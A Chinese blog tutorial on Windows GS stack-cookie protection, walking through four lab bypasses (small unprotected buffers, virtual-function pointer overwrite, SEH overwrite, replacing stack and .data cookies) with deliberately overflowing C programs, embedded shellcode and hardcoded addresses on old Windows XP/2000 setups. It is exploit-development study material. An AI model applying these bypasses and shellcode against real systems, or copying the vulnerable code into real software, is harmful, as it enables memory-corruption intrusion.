selph
selph
发布于 2022-03-28 / 451 阅读
0
0

Windows安全机制--GS

GS是针对缓冲区溢出的保护机制

GS保护原理

针对缓冲区溢出覆盖函数返回地址这个特征,微软在编译程序中使用了一个编译选项:GS(VS2003以后默认启用),GS编译选项为每个函数调用增加一些额外的操作,用于检测栈中的溢出

函数调用时,向栈帧中压入一个随机值--Security Cookie

Security Cookie位于EBP之前,系统还将在.data内存区域里存放一个副本:

image-20220301191505234

在函数返回的之前,会执行一个函数去进行验证Security Check,验证过程中会比较原先存放的Security Cookie和.data中的副本的值,如果不吻合说明栈被破坏,发生了溢出,检测到溢出则进入异常处理流程,函数不会正常返回(不会执行ret)

为了增强随机性,会用Cookie和EBP进行异或,生成新的Cookie,然后在返回的时候进行再次异或还原

具体过程以前探究过,详情见:探究security_cookie在程序中的作用 - 我可是会飞的啊 (kn0sky.com)

因为额外操作带来了额外性能开销,所以在有些情况下不会应用GS:

  • 函数不包含缓冲区
  • 函数被定义为具有变量参数列表
  • 函数使用无保护的关键字标记
  • 函数在第一个语句中包含内嵌汇编代码
  • 缓冲区不是8字节类型,且大小不大于4字节

有例外就会有机会突破

利用未被保护的内存突破GS保护

当函数中不包含4字节以上的缓冲区,即便GS处于开启状态,函数也是不受GS保护的

实验环境:Windows XP SP3 + VS2008 + Release编译(关闭优化,开启GS)

实验代码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
//#pragma strict_gs_check(on)

int vultest(char* str)
{
	char arry[4];
	strcpy(arry, str);
	return 1;
}

int main()
{
	char* str = (char*)"123456789012345678901234567890";
	int a = vultest(str);
	return 0;
}

缓冲区大小不足时,如果没有强制开启GS,则GS不会被开启,则会发生栈溢出,程序也能执行到ret语句那里:

image-20220301200919370

当强制开启GS之后,程序会在Security Check Cookie函数中进入异常处理流程

据说这种突破是最没用的

实测,在Windows10 + VS2022 环境下,哪怕只有4字节缓冲区,也会出现GS保护

利用虚函数突破GS保护

实验环境:同上

实验代码01:

#include "string.h"

class GSVirtual {
public :
	void gsv(char * src)
	{
		char buf[200];
		strcpy(buf, src);
		bar(); // virtual function call
	}
	virtual void  bar()
	{
	}
};
int main()
{

	GSVirtual test;
	test.gsv("\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x00");

	return 0;
}

这里为了实验虚函数,特地整了个虚函数,主要是为了实验修改虚函数指针,所以功能无所谓

程序逻辑是:声明一个类的对象,调用gsv方法,该方法存在经典的栈溢出的问题,方法中调用了虚函数

这里shellcode为合法的大小,用来观察栈与溢出后位置的关系,首先看虚表虚函数在哪里:

image-20220302095022469

构造函数为对象申请空间,对象前4个字节是虚表指针,虚表保存自己的虚函数地址

接下来进入gsv方法,在字符串拷贝结束后,会调用自己的虚函数:

image-20220302095138772

这里的逻辑是获取对象地址,到对象内存里去找虚函数地址,然后调用这个地址

也就是,会从0x0013fe98这个地址读取4个字节是0x0013ff78,然后从中(虚表)读取4字节数据作为函数地址进行调用

image-20220302095439688

而我们的缓冲区距离这个位置还有间隔28字节,所以shellcode需要再增加28个字节0x90

0x13ff78位置上是对象指针,0x13ff74是shellcode的地址,这两个地址之间的区别也就是最后一个字节是否是0x00,这里shellcode以字符串的形式填充到0x13ff74的位置,然后字符串结尾的0x00会刚好填充到0x13ff78上,刚好构造好了覆盖虚表的数值

shellcode如下,实验代码2:

#include "string.h"

class GSVirtual {
public :
	void gsv(char * src)
	{
		char buf[200];
		strcpy(buf, src);
		bar(); // virtual function call
	}
	virtual void  bar()
	{
	}
};
int main()
{

	GSVirtual test;
	test.gsv(
		"\xf6\x2a\x99\x7C"	
		"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
		"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
		"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
		"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
		"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
		"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
		"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
		"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
		"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
		"\x53\x68\x68\x79\x20\x20\x68\x73\x65\x6C\x70\x8B\xC4\x53\x50\x50"
		"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		);
	return 0;
}

接下来看栈esp位置

image-20220302100430035

在调用虚函数的时候,esp+4的位置刚好是局部变量缓冲区的指针,要跳转到这里去,可以通过一些指令的帮忙进行跳转(pop pop ret),这里shellcode里开头4字节是0x7c992af6,指令是:

image-20220302100650832

所以在这里执行虚函数会先跳转到0x7c992af6,然后再跳转回栈中,进而执行shellcode,执行结果:

image-20220302101206821

利用虚函数突破保护,本质上是替换栈中的对象指针为自己定的地址,然后在虚函数对于对象内存首地址的偏移处构造shellcode跳转地址,通过跳转地址去跳转到shellcode进行执行

利用异常处理突破GS保护

GS机制没有保护SEH,可以攻击SEH,然后触发一个异常,就可以通过异常处理执行shellcode了

实验环境:Windows 2k sp4 + VS2005 + release版本 + 禁用优化选项

为了不受SafeSEH机制影响,本次实验需要在Windows 2000上进行

实验代码:

#include <string.h>

char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x00";

void test(char * input)
{
	
	char buf[200];
	strcpy(buf,input);
    strcat(buf,input);
}

void main()
{
	test(shellcode);	
}

这里调用test函数,test函数里有经典的栈溢出漏洞,栈溢出之后可以淹没input变量的地址,导致strcat函数触发异常,从而进入异常处理(在Security Check Cookie之前),通过控制溢出的大小,可以控制SEH溢出处理函数指针,从而进入shellcode去”处理异常“

这里首先通过填充合法的一大堆0x90来观察shellcode覆盖SEH处理函数还需要溢出多少字节:

image-20220302105658138

需要填充 0xB4-0x60 = 0x54 字节然后再加上4字节的shellcode地址:0x0012FEA0,即可控制SEH

构造shellcode:

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x68\x79\x20\x20\x68\x73\x65\x6C\x70\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xA0\xFE\x12\x00"//address of shellcode
;

直接双击执行:(用调试器执行异常会被调试器给接走,所以不用调试器执行)

image-20220302110521498

同时替换栈和.data中的Cookie突破GS保护

与GS正面交锋,有两条路:

  • 猜测Cookie的值
  • 同时替换栈和.data中的Cookie

前者在之前的探究里就已经知道了,随机性过强,猜出4字节基本不可能,所以使用后者的方法进行

实验环境:Windows XP SP3 + VS2008 + Release版本 + 禁用优化选项

实验代码:

#include <string.h>
#include <stdlib.h>
char shellcode[]=
"\x90\x90\x90\x90"//new value of cookie in .data
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x68\x79\x20\x20\x68\x73\x65\x6C\x70\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xF4\x6F\x82\x90"//result of \x90\x90\x90\x90 xor EBP
"\x90\x90\x90\x90"
"\x94\xFE\x12\x00"//address of shellcode
;
void test(char * str, int i, char * src)
{
	char dest[200];
	if(i<0x9995)
	{
		char * buf=str+i;
		*buf=*src;
		*(buf+1)=*(src+1);
		*(buf+2)=*(src+2);
		*(buf+3)=*(src+3);
	    strcpy(dest,src);
	}
}
void main()
{
	char * str=(char *)malloc(0x10000);
	test(str,0xFFFF2FB8,shellcode);	
}

main函数申请0x10000字节空间,拿这个空间的首地址去调用test函数

test函数对str+i开始的4字节内存进行赋值,然后执行strcpy,是个经典的栈溢出

这里main申请了一片内存,地址是0x00410048:

image-20220302115716736

然后进入test函数后,获取security cookie,这个cookie的地址是0x00403000,也就是.data段的首地址:

image-20220302115909289

cookie位于.data段第一个4字节,接下来使用构造的负数来通过字符串长度判断(i<0x9995)

这个负数是怎么来的呢?因为知道接下来会进行str+i的操作,这里希望这个结果是0x403000,所以已知str和结果,那么i的大小也就可以推出来i=0x403000-0x410048=0xFFFF2FB8(因为堆空间是在.data下面的,所以这个结果一定是负数)

绕过长度检测之后,进行赋值操作,给0x403000前4个字节赋值了0x90909090,也就是把cookie修改成了0x90909090

最后的strcpy栈溢出淹没到栈里保存的cookie,往栈里的位置保存0x90909090和ebp异或的结果0x90826ff4,当函数退出的时候会自动跟ebp再次异或进行检测

image-20220302120717810

比对一致,函数正常返回,返回到栈溢出淹没的返回地址上,程序执行shellcode:
image-20220302120938427

总结

绕过GS保护的关键在于栈溢出能让shellcode因为某种原因在安全检查之前得到执行,例如SEH,虚函数这种的

参考资料

《0day安全》第二版

《漏洞分析与利用》网课


评论